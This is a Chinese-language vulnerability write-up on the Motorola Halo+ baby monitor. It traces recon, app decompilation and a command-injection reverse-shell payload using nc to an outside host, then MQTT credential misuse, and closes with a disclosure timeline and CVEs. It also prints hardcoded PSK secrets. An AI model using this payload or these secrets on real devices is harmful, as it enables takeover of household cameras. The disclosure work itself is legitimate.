摩托罗拉婴儿监视器中的未认证远程代码执行
当我和妻子期待第一个孩子时,一款好的婴儿监视器是我们购物清单上的重要物品之一。大多数可用选项现在都包括Wi-Fi、移动应用和云集成。当我们决定选择摩托罗拉Halo+时,我知道在将其连接到我们的Wi-Fi之前需要仔细检查——在那之前,我将其与网络断开,并使用手持监视器。
我们坚持了大约一年,直到额外的"连接"功能足够吸引人,最终输入了我们的Wi-Fi密码。我开始深入研究设备,并在几个小时内识别出预认证的RCE漏洞,不久后获得了完整的root shell。
初步研究
将摄像头连接到Wi-Fi后,我首先使用nmap扫描识别任何监听服务。
这些端口为我寻找潜在API通信提供了一个良好的起点。我在浏览器中访问了每个端口,期望其中一个可能提供Web界面。有趣的是,所有三个都是Web服务器,但每个响应略有不同:
- :8080 – 404 Not Found页面
- :9090 – 响应体显示"Unsupported command"
- :80 – 空
我无法让最后一个端口响应——一个快速的cURL请求解释了这一点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
user@ubuntu:~$ curl http://192.168.5.244 -v
* Rebuilt URL to: http://192.168.5.244/
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 204 No content
< Content-Length: 0
< Content-Type: text/plain
< Connection: Keep-Alive
<
* Connection #0 to host 192.168.5.244 left intact
|
“Unsupported command"显然引起了我的注意,作为进一步探索的路径。我开始尝试各种参数的请求,但没有成功。我本可以运行一些工具来暴力破解有效参数,但我怀疑有更好的路径。
Android应用
接下来,我决定安装Android应用并开始逆向工程,希望了解它如何与设备通信。婴儿监视器可以通过Hubble Connected for Motorola Monitors完全管理——以下是设置后的样子:
除了摄像头feed外,设备还收集并在应用中显示相当多的数据点。这里可以看到它显示房间温度,以及其他监视器功能的状态,如夜灯和灯光秀投影器。
我的下一步通常是代理应用中的API请求。在快速浏览应用的详细logcat输出后,我意识到这没有必要。
从上面的日志中可以看出,API请求很容易从日志中消化。我注意到许多与Hubble云服务交互的请求,但我更感兴趣的是应用是否通过LAN直接访问设备。
接下来,我在日志中搜索任何HTTP通信,并开始使用应用的更多功能。在应用中更改一些设备设置后,我终于识别出一些对本地API的请求:
这正是我想要的。让我们尝试一个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_wifi_strength" -v
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET /?action=command&command=get_wifi_strength HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 21
< Content-Type: text/plain
< Connection: Keep-Alive
<
* Connection #0 to host 192.168.5.244 left intact
get_wifi_strength: 75
|
这里没有什么花哨的——一个普通的HTTP请求返回冒号分隔的响应。
额外命令
有了几个本地API请求的例子,我反编译了Android应用并开始搜索它们的引用——目标是找到代码库中使用的更大命令列表。有一些有趣的一次性发现散布在各处,但我选择专注于一个特定的类,该类定义了配置常量列表。这包括可能的GET和SET命令,以及设置Wi-Fi的PSK。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
/*
* Decompiled with CFR 0_121.
*/
package com.hubble.framework.common;
public class ConfigConstants {
public static final String AUTH_KEY_IS_NULL = "auth_key_is_null";
public static final String CAM_FOCUS_1_SSID = "\"CameraHD-006611d724\"";
public static final String CAM_FOCUS_1_SSID_NAME = "CameraHD-006611d724";
public static final String CAM_FOCUS_SSID = "\"CameraHD-00661214b0\"";
public static final String GLOBAL_PORT = ":80";
public static final String MQTT_P2P_ENABLE = "mqtt_p2p_enable";
public static final String TRANSFER_PROTOCOL = "http://";
public class Camera {
public static final String ACCESS_TOKEN_COMMAND = "action=command&command=set_server_auth&value=";
public static final String AP_INFO_COMMAND = "action=command&command=setup_wireless_save&setup=";
public static final String GET_MAC_COMMAND = "action=command&command=get_mac_address";
public static final String GET_UDID_COMMAND = "action=command&command=get_udid";
public static final String GET_VERSION = "action=command&command=get_version";
public static final String HTTP_URI_SEPARATOR = "/?";
public static final String PREFS_CAMERA_CREDENTIAL_STATUS = "camera_credential";
public static final String PREFS_CAMERA_HTTP_NAME = "camera_http_name";
public static final String PREFS_CAMERA_HTTP_PASSWORD = "camera_http_pwd";
public static final String RESTART_DEVICE_COMMAND = "action=command&command=restart_system";
public static final String SETUP_FW_VERSION = "00.00.00";
public static final String SETUP_PSK_IDENTITY = "forekbsh93vlf8j08tt53qaghb";
public static final String SETUP_PSK_PASSWORD = "D9D9790A65CEF2B23B73CCA9DC18C888";
public static final String SETUP_TLS_DEFAULT_PORT = "4434";
public static final String SET_BOOTSTRAP_COMMAND = "set_bootstrap_info";
public static final String SET_BOOTSTRAP_URL = "action=command&command=set_bootstrap_info%s";
public static final String SET_CITY_TIMEZONE = "set_city_timezone";
public static final String SET_CITY_TIME_ZONE = "action=command&command=set_city_timezone&value=%s";
public static final String SET_DATE_TIME = "action=command&command=set_date_time&value=%s";
public static final String SET_DATE_TIME_COMMAND = "set_date_time";
public static final String WIFI_CONNECTION_STATE_COMMAND = "action=command&command=get_wifi_connection_state";
public static final String WIFI_LIST_COMMAND = "action=command&command=get_rt_list";
}
}
|
我开始手动尝试上面类中列出的命令。以下是get_rt_list:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_rt_list" -v
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET /?action=command&command=get_rt_list HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 1096
< Content-Type: text/xml
<
<?xml version="1.0" encoding="UTF-8"?>
<wl v="2.0">
<n>8</n>
<w>
<s><![CDATA["HP-Print-72-Officejet Pro 8630"]]></s>
<b>***REMOVED***</b>
<a>WPA2</a>
<q>72</q>
<si>-88</si>
<nl>0</nl>
<ch>1</ch>
</w>
<!-- SNIPPED -->
</wl>
* Connection #0 to host 192.168.5.244 left intact
|
上述命令返回了从摄像头可用的Wi-Fi网络列表。由于大多数列出的命令似乎对我的设备有效,我知道我找对了地方,并将重点转向SET命令。“value"参数特别感兴趣,因为这些将接受用户控制的输入,如果未正确清理,可能导致RCE。
远程代码执行
当我最终使用重启shell注入payload执行set_city_timezone时,设备立即重启。在另一个终端中运行/?action=command&command=get_version循环时,可以看到这一点。
如您所见,设备在发出重启请求后停止响应。在构建反向shell PoC方面做了一些工作后,我最终得到了这个:
1
|
http://192.168.5.244/?action=command&command=set_city_timezone&value=$(nc${IFS}192.168.5.202${IFS}5555${IFS}-e${IFS}/bin/sh)
|
注意使用${IFS} shell变量表示空格,因为Web服务器将处理%20的编码值。
以下是(root)shell的运行情况:
额外研究
通过shell访问设备,我现在能够更深入地挖掘并检查其他可能的攻击向量,这些向量在黑盒测试中 otherwise 难以发现。虽然本文无法涵盖太多细节,但我想谈谈我发现的最关键问题。
MQTT
正如我上面讨论的,许多云集成是通过Hubble API实现的。集成的一个组件建立在MQTT上——就像许多IoT设备架构一样,这用于处理设备、移动应用客户端和Hubble基础设施之间基于事件的发布/订阅交互。
例如,移动应用似乎通过Hubble API内的API层与MQTT交互——参见以下命令,显然要求设备更新其温度值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
{
"status": 202,
"message": "success",
"data": {
"id": "15f42d3d-7bcf-4fbd-8781-0bb3034f0fd2",
"created_at": "2021-05-12T17:44:08Z",
"updated_at": "2021-05-12T17:44:08Z",
"job_type": "publish_command",
"status": 202,
"state": "SUCCESSFUL",
"input": {
"packet_header_pojo": "{\"command\":\"VALUE_TEMPERATURE\"}",
"device_id": "50b0f163-51be-4ef5-ad55-f031d98f99b7"
},
"output": {
"reason": "mqtt published",
"PublishResponse": "mqtt published",
"DeviceResponseMessage": null,
"DeviceResponseStatus": null,
"PublishStatus": 202
},
"priority": "high",
"last_executed_time": "2021-05-12T17:44:08Z",
"execution_count": 1
}
}
|
为了更好地理解MQTT实现的工作原理,我想连接一个客户端来观察传输中的消息。在查看设备上的一些日志后,我找到了MQTT服务器的主机名,以及连接所需的所有TLS证书和密钥:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
pwd
/mnt/config/hubble_config
ls -hal
drwxr-x--- 2 root root 720 May 30 14:55 .
drwxr-xr-x 4 root root 1.0K Dec 31 1969 ..
-rw-r--r-- 1 root root 286 May 30 13:55 bootup_info
-rw-r--r-- 1 root root 1.4K Dec 9 13:52 ca.crt
-rw-r--r-- 1 root root 1.1K Dec 9 13:52 client.crt
-rw-r--r-- 1 root root 1.6K Dec 9 13:52 client.key
-rw-r----- 1 root root 0 Apr 1 23:37 dummy
-rw-r----- 1 root root 0 Apr 1 23:37 smartconfig
-rw-r--r-- 1 root root 5.2K May 30 14:55 user.conf
-rw-r--r-- 1 root root 3.7K May 30 13:55 user1.conf
|
我打开MQTT Explorer并使用设备中的证书配置连接。我成功连接并立即开始看到来自Hubble舰队中越来越多其他设备的消息。连接后不久,我意识到客户端默认配置为订阅#和$SYS/#。这似乎很明显,这意味着要么凭证在所有Hubble设备之间共享,要么MQTT中设备之间的访问控制未强制执行。
如果您仔细观察,可以看到来自各种设备的许多命令结果。虽然我没有尝试,但我认为客户端很可能通过发布任意命令轻松控制整个设备舰队。
披露
联系供应商披露这些漏洞带来了自己的挑战——首先,我必须了解摩托罗拉的公司历史和当前结构。维基百科文章很好地说明了这一点:
Motorola, Inc.是一家美国跨国电信公司。在2007年至2009年亏损43亿美元后,该公司于2011年1月4日分为两家独立的上市公司Motorola Mobility和Motorola Solutions。Motorola Solutions通常被认为是Motorola, Inc.的直接继任者,因为重组的结构是Motorola Mobility被分拆。Motorola Mobility于2014年被联想收购。
在最初联系了显然是错误的摩托罗拉,并在寻找与Motorola Mobility的任何联系方面失败后,我终于联系到了联想的安全人员。他们非常响应,提供了详细的更新,并在测试/验证修复方面非常彻底。以下是时间线:
日期 |
事件 |
2021-04-09 |
向联想PSIRT初始报告 |
2021-04-12 |
收到响应,要求提供受影响的固件版本 |
2021-04-15 |
我跟进确认报告 |
2021-04-16 |
联想团队确认问题,正在修复(预计5月底)。披露计划2021-06-08 |
2021-06-01 |
我跟进确认补丁已发布 |
2021-06-02 |
修复仍在内部验证中。披露移至2021-07-13以确保客户有可用修复 |
2021-06-23 |
初始修复发现不完整。“我们已为产品开放了额外要求以解决此问题,这增加了一些复杂性” |
2021-07-09 |
收到更新,仍有一些最终项要解决 |
2021-08-07 |
我跟进进展 |
2021-08-10 |
回复:最后修复应下周交付 |
2021-08-11 |
我回复询问每个漏洞的详细信息。是否已修复?仍在处理一个或两个? |
2021-08-11 |
收到回复,告知RCE在03.50.06中修复。MQTT问题花费了额外时间。ETA几天。2021-09-14披露日期设定 |
2021-09-09 |
仍在按计划披露两个问题。MQTT在03.50.14中修复 |
2021-09-14 |
公开披露 |
CVE
- CVE-2021-3577: RCE
- CVE-2021-3787: MQTT凭证